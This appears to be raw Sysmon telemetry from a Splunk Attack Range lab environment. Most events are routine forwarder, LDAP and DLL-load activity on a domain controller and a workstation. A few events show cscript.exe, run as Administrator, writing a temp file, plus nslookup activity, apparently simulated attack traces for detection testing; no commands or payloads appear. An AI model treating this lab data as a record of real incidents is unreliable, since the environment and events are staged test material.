Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ECC56BAF5ED0D0B598A2199711E48193,SHA256=B77E01CB352DDF31A8CDECCE063F022942E65E4389669BEF12570388C1E3F151,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000056973Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.269{00000000-0000-0000-0000-000000000000}4084<unknown process>-tcptruefalse10.0.1.14win-dc-387.attackrange.local63187-false35.244.247.133133.247.244.35.bc.googleusercontent.com443https 23542300x800000000000000018279Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:08.960{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CE50D1EAEB391433B6890FCC2A8F44B0,SHA256=CD7CB8B60703630D97CE4922FA19421DE7DA34DBE4F305917E523A74B6E99D02,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056980Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:08.601{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=5683135A3B7E19057C0E029FB161AD6D,SHA256=F3AC5015C1A8C9BD6700165C3390C3B4D3B59325B8B95A0F1220C7EB41A0802F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000056979Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:05.483{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63188-false10.0.1.12-8000- 23542300x800000000000000056978Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:08.491{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CE7A93492860C34444F8443BA11F9241,SHA256=70D5027DE3AE04134F35D158444D8706F762FFB61E8F2D346746EAE104EEFD8A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018280Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:09.976{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2A83A97FB7B3B61C99A50EEC16A486A4,SHA256=F1BCD338E1A7F4C7CEA71F2D8625C7B11479294AC47748249C1DCE0328B0682A,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000056987Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:06.869{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local63191-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 354300x800000000000000056986Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:06.869{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\System32\dfsrs.exeNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local63191-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 354300x800000000000000056985Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:06.860{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local63190-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 354300x800000000000000056984Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:06.860{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\System32\dfsrs.exeNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local63190-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 354300x800000000000000056983Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:06.844{7BD73061-65B2-613B-0D00-00000000F001}892C:\Windows\System32\svchost.exeNT AUTHORITY\NETWORK SERVICEtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local63189-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local135epmap 354300x800000000000000056982Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:06.844{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\System32\dfsrs.exeNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local63189-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local135epmap 23542300x800000000000000056981Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:09.507{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FAC9CDFAC5D4D111D815251995F330CC,SHA256=D9B8A7C04F93C7B7E562A313A01C3DD2EF6C9B7A6259B182194B575C7A89B6EC,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018282Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:10.976{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8A91F41A3EDB9964C743074FA04B34D6,SHA256=8B91F0D806047A85160FBEDDF1DB1E6297A3AB66E8280887294D1872067D58BD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056994Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:10.648{7BD73061-728E-613B-5B0B-00000000F001}1020ATTACKRANGE\AdministratorC:\Windows\system32\cscript.exeC:\Users\ADMINI~1\AppData\Local\Temp\nlsvqc.tmpMD5=E49FF0E15C9F9DFACBF2FB2662ED7DD3,SHA256=C8A222D3B5E0CD0712BBF32F8187753DD3FDF63B5C6A8801DB536B101530D183,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000056993Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:10.632{7BD73061-74E9-613B-AD0B-00000000F001}6720C:\Windows\System32\nslookup.exeC:\Windows\System32\imm32.dll10.0.14393.0 (rs1_release.160715-1616)Multi-User Windows IMM32 API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationimm32MD5=E1024CF2E35DD3467F52BC83F7FEDA3F,SHA256=59C87761AD509BD096C2F35257C2370FB94B95160CB63FB9E66DFD8210AB002A,IMPHASH=C852E8FD14D356C81F834E318EEAD7FAtrueMicrosoft WindowsValid 734700x800000000000000056992Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:10.632{7BD73061-74E9-613B-AD0B-00000000F001}6720C:\Windows\System32\nslookup.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000056991Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:10.632{7BD73061-74E9-613B-AD0B-00000000F001}6720C:\Windows\System32\nslookup.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000056990Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:10.632{7BD73061-74E9-613B-AD0B-00000000F001}6720C:\Windows\System32\nslookup.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000056989Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:10.632{7BD73061-74E9-613B-AD0B-00000000F001}6720C:\Windows\System32\nslookup.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 23542300x800000000000000056988Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:10.507{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2567E28493EF032EA04EF84C6D676B0F,SHA256=7EDC483F45531CBA2F106FA525A253A468D81886E859D62D4C9F388F219914F5,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018281Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:09.390{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50417-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018283Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:11.981{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AB885531FF78BC569AFF5248BBE5ADBD,SHA256=6FD60501B1CC536AF7BFC1D528B5657E7BE60428ABBD288E43EB5CDD24284A06,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056995Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:11.514{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6D6767E1127EA81A4E88FD12E1D7FF48,SHA256=63A911E45D44EB285D0C260E7048488930A7D30A26B6CB64A57E77070C00860D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018284Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:12.981{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DE85653823DF0B0EE7672E7F237272AB,SHA256=F6AD832CF82102694F39C407FAE523DBDC7605AF530430485CBE34C51DB4D637,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056996Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:12.592{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F7943C4DEB87A72AF0972F307F4067CF,SHA256=CD5E1ABE0E89F1837311CB53FF77678F1FCC9B072C2A0945167087EF76B66072,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018285Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:13.996{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3B933E1744C62CD64C5B1F6E15ED415C,SHA256=F3367DF8321BD5F794235FCA2208CFE85C526A2843987163C801D737D5C36991,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056997Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:13.608{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=707A000899531CD11EF5C2027C073DA7,SHA256=D58124466AE705BE8A13C1DB19ECB777D6EE5E999C15304EE3DA4A5CA9EA62A5,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056999Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:14.655{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=20617245BDE0C5FE3D34988025578EE1,SHA256=BE0B031DD16D072105D7400EDDE4E59972A4ACC73CE56ADF0DF45AE279B5FA05,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000056998Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:11.349{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63192-false10.0.1.12-8000- 23542300x800000000000000057000Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:15.670{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D66E976F86FFD1321D9351F22C9ED20E,SHA256=EFD9BFE9E3967E93AB8BF985BFF40212765DE2F0E42444B46B19731A1BDEE8DB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018286Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:15.012{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3C3FE1D79ABB5A0E623A9A489702D52C,SHA256=4CC5938C82906D9C91BE12CB0C6063858C484FADDBD5A9575D227FB3F41BA0D7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057001Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:16.920{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F2C0F1A9DEC16C92F64807848AC9B478,SHA256=56DE2CDC219DAA251CD8B2CC0B47D8B9FCAA9B77DAF90E32E879FDAD5BA3722F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018287Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:16.028{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CCA00A937B0E232A939ABAC83B7E4BF4,SHA256=AA85EFD67BB1320BC5FB0466E0011B168F5E395B661C4ED6E75AC1AEF8C5CF70,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000057104Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.920{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000057103Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.920{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000057102Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.905{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 354300x800000000000000018289Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:15.394{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50418-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018288Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:17.043{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0954BAAF17625425A518FE17996FDB72,SHA256=F3B47CBD7844323862B88472CB83B33D9A251E2CF1362D1E4F9C904CD7F58ED0,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000057101Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.905{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000057100Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.905{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000057099Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.905{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000057098Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.905{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000057097Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.905{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000057096Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.905{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\sspicli.dll10.0.14393.2580 (rs1_release_inmarket.181009-1745)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsspicli.dllMD5=5061339CE61C0B32DB8F51A95E3B2422,SHA256=60558CA374334D4C6BBAD475921538C14A9FF3422893348A0503C1F33015FD25,IMPHASH=4B1C9487A6420C18F688F0EC5BEB6F33trueMicrosoft WindowsValid 734700x800000000000000057095Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.905{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000057094Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.905{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000057093Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.905{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000057092Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000057091Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000057090Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000057089Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.889{7BD73061-751D-613B-B10B-00000000F001}5832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program 